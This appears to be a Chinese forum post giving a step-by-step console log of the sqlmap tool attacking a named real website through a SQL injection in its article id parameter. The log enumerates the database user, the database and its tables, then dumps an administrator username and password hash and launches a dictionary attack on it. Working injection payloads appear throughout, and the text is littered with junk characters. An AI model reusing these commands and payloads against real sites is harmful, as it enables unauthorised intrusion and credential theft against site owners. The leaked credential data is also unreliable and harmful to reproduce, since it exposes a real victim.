D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
3 w) n5 C# r" D% v* X% Yms "Mysql" --current-user /* 注解：获取当前用户名称1 s1 A1 L. H+ x; ~+ F
sqlmap/0.9 - automatic SQL injection and database takeover tool- u2 n7 j2 s1 r% x/ D9 b
http://sqlmap.sourceforge.net starting at: 16:53:54
% S) r$ `, ]- S( ^5 k( Q+ {, S[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as# k4 G3 o; }0 `4 X" |
session file" `' u! P; M1 \* N4 a; f0 V
[16:53:54] [INFO] resuming injection data from session file
, C- p, ^$ _2 _" C: }0 z' Q[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file. D2 m# D: q& _# _) d
[16:53:54] [INFO] testing connection to the target url
6 n* a5 Q( A) s3 L, y& y& F1 b' zsqlmap identified the following injection points with a total of 0 HTTP(s) reque
) |1 Z! {2 u# g3 u Bsts:
& M4 I4 k" N: @4 R/ C---
2 q7 S' v7 F2 y+ X) h8 x, OPlace: GET+ X3 b& }$ l% v$ @: P+ U" V. @
Parameter: id1 k/ w$ s- w9 L0 U9 H
Type: boolean-based blind
+ U% \$ z, U' G Title: AND boolean-based blind - WHERE or HAVING clause
! k/ k' w! s1 a8 T$ f ^- K$ A Payload: id=276 AND 799=799
! @% W4 y& X$ N3 a3 V+ t8 X3 M8 | Type: error-based9 |. ?9 |. p( ]1 L7 X p
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause3 a6 F6 N# h- P/ g7 U4 w' }7 }' q
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
' a- f$ F. i M5 v120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58) O. R9 o8 g0 w5 {5 U7 `
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
& Q! m# T; \! ^2 n2 O4 B0 i Type: UNION query
( F. \: D; K8 j2 \ Title: MySQL UNION query (NULL) - 1 to 10 columns
1 s) g1 K, {* O" z Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
0 ~9 z s9 H5 Y(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
; p1 K: B: j) j k& c# bCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
" h! _6 O9 z) i( c4 o8 r' m Type: AND/OR time-based blind
! S3 Y2 v2 c9 A Title: MySQL > 5.0.11 AND time-based blind
( e3 }8 S+ y+ Z6 ` Payload: id=276 AND SLEEP(5)
3 r" x1 ~$ ]$ \, S' U) B---, O" ~4 D/ {& W/ B" }
[16:53:55] [INFO] the back-end DBMS is MySQL
8 d3 _6 W# p( cweb server operating system: Windows; L/ U0 w+ x" E8 p
web application technology: Apache 2.2.11, PHP 5.3.04 i$ \% a" \; G3 W4 C: J
back-end DBMS: MySQL 5.0
# H7 G! U) C3 {% F9 d. k: P+ C- v[16:53:55] [INFO] fetching current user5 N6 e. p ] k9 }' w2 s0 w
current user: 'root@localhost' - G' T$ s0 v9 ]" U; G7 G
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou* ^ D: d" Y9 N* u5 P/ O, U; C
tput\www.wepost.com.hk' shutting down at: 16:53:58
8 N; ^, M# C1 m/ C( v! m6 v
- F! u. u' T- E1 N/ ]2 SD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db, J$ o: M; H! i* _
ms "Mysql" --current-db /*当前数据库
1 p) H& L* f' f/ K sqlmap/0.9 - automatic SQL injection and database takeover tool
. H" ^ K# ~* u, E p# w http://sqlmap.sourceforge.net starting at: 16:54:16) z# P8 U6 g. @+ e! U
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
9 U; E+ G# a4 f/ O session file
! \ D! c$ \$ V- A: J. D[16:54:16] [INFO] resuming injection data from session file8 u# i( P- P1 B* m! `3 g" g& b# \
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
9 `/ Q5 B3 A) M[16:54:16] [INFO] testing connection to the target url
; y3 H4 u* ^4 D. bsqlmap identified the following injection points with a total of 0 HTTP(s) reque2 w* f+ Q+ n3 L/ p
sts:: @: f. W( f3 @% C6 D
---
& W+ V' M# f7 s- M! [Place: GET
& V( T; F: F; i) ~Parameter: id
( X( e* r. h4 J9 ?4 Z Type: boolean-based blind
) h: c$ W N% u9 q6 Z6 B Title: AND boolean-based blind - WHERE or HAVING clause6 K* u, G6 ~( w/ R
Payload: id=276 AND 799=7995 Z8 C/ h# x2 b$ a# y! s
Type: error-based$ K: C4 n0 T" i$ N
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause3 c) F5 d0 E. B) ?1 t V
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
* r! ]5 n2 {% @ ~, I120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
+ D4 H/ k' B3 a k8 N),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a); ~2 c7 ]+ _/ i/ p2 }
Type: UNION query d: M$ T: T0 B
Title: MySQL UNION query (NULL) - 1 to 10 columns
) E! m! H8 Y4 V Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
- y+ W" g) @( J6 I( R$ e3 r(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),' `' s' z4 H2 z- U. ?3 T/ |# \
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#: n3 R- h# I- \8 s3 y
Type: AND/OR time-based blind
" H2 ]% ?4 k; O1 z q0 x, t Title: MySQL > 5.0.11 AND time-based blind
& q- K4 E# } z0 ?: M Payload: id=276 AND SLEEP(5)' S. K+ j5 y1 N
---) z- g+ |1 V8 }- W
[16:54:17] [INFO] the back-end DBMS is MySQL+ y9 O/ R8 l2 c3 y1 \
web server operating system: Windows
3 b4 {8 X+ o `7 }. R3 C+ ~% _8 Mweb application technology: Apache 2.2.11, PHP 5.3.0' A& R2 f, V0 f4 }" v) `" Q% t1 b
back-end DBMS: MySQL 5.00 n ?2 Y% b2 a- v$ L6 O
[16:54:17] [INFO] fetching current database& _8 e7 L& W& b# f9 d0 m, O
current database: 'wepost'
( i8 _7 h+ N; H6 c1 O[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou: G1 g0 t8 d; ^# H
tput\www.wepost.com.hk' shutting down at: 16:54:18
; Y, a0 T: G: p6 JD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db2 V$ w V7 g7 V) |. [+ j$ f5 W. P
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名; W3 M+ R% ?; p( E, P* V
sqlmap/0.9 - automatic SQL injection and database takeover tool
8 Q2 D! ?) _1 J$ H8 C8 b http://sqlmap.sourceforge.net starting at: 16:55:25
+ r) \) j8 F4 b[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
& f/ v* S M7 v: {$ [3 Y& [ session file: C Q# f4 l% B0 a5 v% \. g( f
[16:55:25] [INFO] resuming injection data from session file
4 T- _' K0 d S. n! K[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
8 Y2 w3 \ a6 c9 e[16:55:25] [INFO] testing connection to the target url4 B( U6 y) p* P0 W- u
sqlmap identified the following injection points with a total of 0 HTTP(s) reque, _) `$ ^" h) d! @, U
sts:' M( e5 z; V2 Z L) R
---' C! Z8 w% {2 T" m
Place: GET. G! G/ n+ L6 o; D% K6 { w% t
Parameter: id
. } q H" \2 B" ?9 I- U8 J Type: boolean-based blind
3 J) w* F8 K: J/ N# e* l) v Title: AND boolean-based blind - WHERE or HAVING clause
8 [! G/ D* X5 s+ E/ Q; f Payload: id=276 AND 799=799
+ y6 [9 C% E& m! n' }: \ Type: error-based( G) D ~1 R- R
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause5 a0 `. N, L* N. @$ }; r
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,% l) V: n k6 b- G6 {+ ^) G9 T
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58( P4 S3 p) I) [' I$ \& t) j( c
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)9 d" G! x& O- D
Type: UNION query+ Q$ b% {( ?( H, Z
Title: MySQL UNION query (NULL) - 1 to 10 columns
& G6 Z: A' x" E% W. X Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
* c1 Q6 U; N1 J7 k+ ~2 U: _(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
$ Q- @0 t5 t1 d. N& X! DCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL## O/ G& }9 c4 r9 q# D" h
Type: AND/OR time-based blind6 c: J0 b, ^/ O3 r8 w
Title: MySQL > 5.0.11 AND time-based blind Y1 L! L( }3 r' H; ~1 T1 q
Payload: id=276 AND SLEEP(5)' s- l! \" ~# U/ v0 }* E4 F2 V3 d1 S
---; ?& R- z. m& ?& T8 Q& H: Q
[16:55:26] [INFO] the back-end DBMS is MySQL5 ^( `7 l0 l! t1 W# v
web server operating system: Windows5 X6 q. ?" D% d' b) N
web application technology: Apache 2.2.11, PHP 5.3.04 Y2 ]; u, b' L" C1 i$ A
back-end DBMS: MySQL 5.0, D1 C0 L8 h2 ?2 L+ ^$ z9 D
[16:55:26] [INFO] fetching tables for database 'wepost'
3 F T) r+ F n6 Q: n4 t[16:55:27] [INFO] the SQL query used returns 6 entries$ c/ y1 I( Q1 i: H/ D
Database: wepost
5 d2 J9 d& M4 S- C4 O" m" r: \. p[6 tables]
1 @! F3 V1 @' F$ B$ [1 G) k4 q+-------------+
, V, p, r5 V M% |7 j9 y| admin |- e1 N" o `! p; i5 a% U
| article |. s S3 w3 u, M
| contributor |. h, l: |6 T/ [& Q3 {5 H# X
| idea |
& |" D' V/ m: @* J) || image |
3 H8 e* U$ v- H- u5 s& ~) w| issue |& U7 b, ?- E0 x0 U5 f
+-------------+
# {/ o3 e, ?3 C& `8 I[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
. A$ z. C+ _& Y$ qtput\www.wepost.com.hk' shutting down at: 16:55:33
3 h+ Z2 F8 O1 a. M; @" F1 t. Z/ b* Y @! [! `
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
$ P% G2 I8 T/ r+ |3 h1 Qms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名- v, S: z$ Y* R* W4 T
sqlmap/0.9 - automatic SQL injection and database takeover tool
; q, M! g3 r$ F+ ~ http://sqlmap.sourceforge.net starting at: 16:56:06- m4 a! G2 }, I+ X$ |# B7 N8 n0 l
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
% Q0 k, z$ D$ K7 d4 a$ Msts:
: n+ O7 D% \3 S0 F7 O---
* U9 M# n( M' K9 ~' q; ^6 vPlace: GET
" _% X) n0 R3 K! m3 k# z+ SParameter: id# i# b& O5 y( |- g" t2 c$ M; T" ]
Type: boolean-based blind) W v* w5 y( k
Title: AND boolean-based blind - WHERE or HAVING clause
; _/ j2 H) o4 N! U% [$ b Payload: id=276 AND 799=799
9 E% S R' Y- n( t$ X Type: error-based1 A6 ^8 t3 ?- W% S7 D, b& B) c
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause; D, ]0 {: }8 R6 \; f$ c7 y
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,3 w/ Y0 h9 }% ?( L: H. Y
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58( J" y3 K& q5 X7 k3 T9 d* [; m
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
: A: P; V" `. ~: P% Z5 w Y2 z Type: UNION query; K, E" Q. q. l0 ]* L3 V! I( m
Title: MySQL UNION query (NULL) - 1 to 10 columns
) m7 f2 }% m; n- `5 q1 H$ \ Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR1 \% ~6 Y1 Y/ b/ I
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),+ u/ p$ Q9 S n6 o2 P& P% U- [
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#3 x: x2 r0 \7 u5 [" b" q* B6 i
Type: AND/OR time-based blind
. d1 g. k, [- G2 Z4 b4 N9 C7 [ Title: MySQL > 5.0.11 AND time-based blind0 l& M2 f, Z M: s5 j
Payload: id=276 AND SLEEP(5)# n# |6 J5 A* y0 k+ D
---0 D5 y8 m- C' H' Y
web server operating system: Windows
9 l" @. \3 P: o' ]web application technology: Apache 2.2.11, PHP 5.3.0
! b/ f9 K) Z! h/ C/ g& @back-end DBMS: MySQL 5.0
1 T- N1 q1 m2 j. Q8 L[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se, P$ Q0 V/ j& A
ssion': wepost, wepost
x( \9 Y/ f, V8 g8 o3 M, qDatabase: wepost2 f. l7 k/ ?) e, h. [' A8 O
Table: admin, k! ?) f7 R+ R
[4 columns]- }2 V* @/ G- S- \/ b. R9 o
+----------+-------------+
0 j; S, W8 h( x( R6 A+ O r# {, u| Column | Type |! i6 x" o$ G4 |) E
+----------+-------------+
- w6 c. {( ^5 ` ]. v7 v2 Y| id | int(11) |7 [! S$ m {: S2 r
| password | varchar(32) |1 l5 k& B3 B- q$ C3 s
| type | varchar(10) |
; h& e5 i& q |$ M3 J; _0 }+ E| userid | varchar(20) |: L% I& t# H* v% e: D6 Q" x: Y
+----------+-------------+- \% I2 T. Z. r/ J1 v
shutting down at: 16:56:19" T* c2 B. Z" q$ G" _
! n, l: q2 x3 ?% w2 B; WD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
' z3 |$ ?/ Z9 w0 |: r% cms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容
$ u, u6 u! G" X+ U' Q6 f sqlmap/0.9 - automatic SQL injection and database takeover tool
% k8 [4 X6 h, _3 e, h* X http://sqlmap.sourceforge.net starting at: 16:57:14
9 q% C; y( \# v* K; Qsqlmap identified the following injection points with a total of 0 HTTP(s) reque
: p8 Z) I5 |6 n, D6 T+ [0 Csts:/ v* u' e" i$ x7 S0 A
---
7 \: D. w3 A, Z! U! T2 |Place: GET
7 `0 s5 \' N7 e) Z1 ]- X+ b3 ]Parameter: id
+ @4 r2 _2 r& N& P* t Type: boolean-based blind: `1 T5 M3 y7 v; X! x- a% a6 V
Title: AND boolean-based blind - WHERE or HAVING clause- H& p. r' S" @7 m2 @+ n3 [8 Q
Payload: id=276 AND 799=7994 z7 B+ O5 ?1 c2 h9 r: l. P
Type: error-based- @- e+ p4 {8 u6 T9 T! x. V3 [
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause# b+ r* l- ~8 `7 ?
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,$ n* Y) S* u& `# I% [ ^
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
# ]9 {0 d1 J% X* h& F1 W8 @),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
4 p% ~3 c6 t9 Z Type: UNION query2 D. w+ w0 G4 S$ ?0 S
Title: MySQL UNION query (NULL) - 1 to 10 columns
& p8 ~% v l* R3 d1 n7 q Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR& s( b; n1 e, n* I0 S3 o
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
6 r | @5 o' B1 dCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#$ {7 H% B: r0 K
Type: AND/OR time-based blind
5 c# M. F4 e" f2 A+ J, @7 q- T" T Title: MySQL > 5.0.11 AND time-based blind* L" E4 w) T5 J- z5 E/ J# T" ], D
Payload: id=276 AND SLEEP(5)
. L0 c5 Y' |' R: x9 {4 K---
! [$ C& ]* B. z8 b. ]0 Hweb server operating system: Windows, X% P i5 m; A9 L
web application technology: Apache 2.2.11, PHP 5.3.0" z. I! G0 q- Z/ z7 l1 N" Y
back-end DBMS: MySQL 5.07 D. \5 M7 F4 R# Y5 S7 w0 }
recognized possible password hash values. do you want to use dictionary attack o
0 \ x6 K5 f( |0 F$ l5 Vn retrieved table items? [Y/n/q] y
- B5 g8 e: e! F' T' Fwhat's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]- t# ^9 f9 s% T% P! R1 l3 Y$ v: Y. H
do you want to use common password suffixes? (slow!) [y/N] y* c) I( n( r. i2 J
Database: wepost
: O( x0 A# v$ z+ G/ P9 |Table: admin0 [+ c% M/ B% T7 q3 U! x3 ?
[1 entry]6 j# v; Z: M7 e: o8 A7 o
+----------------------------------+------------+! p, {5 r- L& A. v' K" n: V
| password | userid |" Q3 G1 d! q- O t& Y/ M& m
+----------------------------------+------------+6 [! K/ ~) z U1 O8 x
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
f9 L2 ~" x" D* @6 g# C; S. {% K+----------------------------------+------------+
9 ^4 [& z/ A2 B4 _ shutting down at: 16:58:14: {5 u$ F6 A: P( Q/ k4 i* W
5 g9 z- X* i2 qD:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对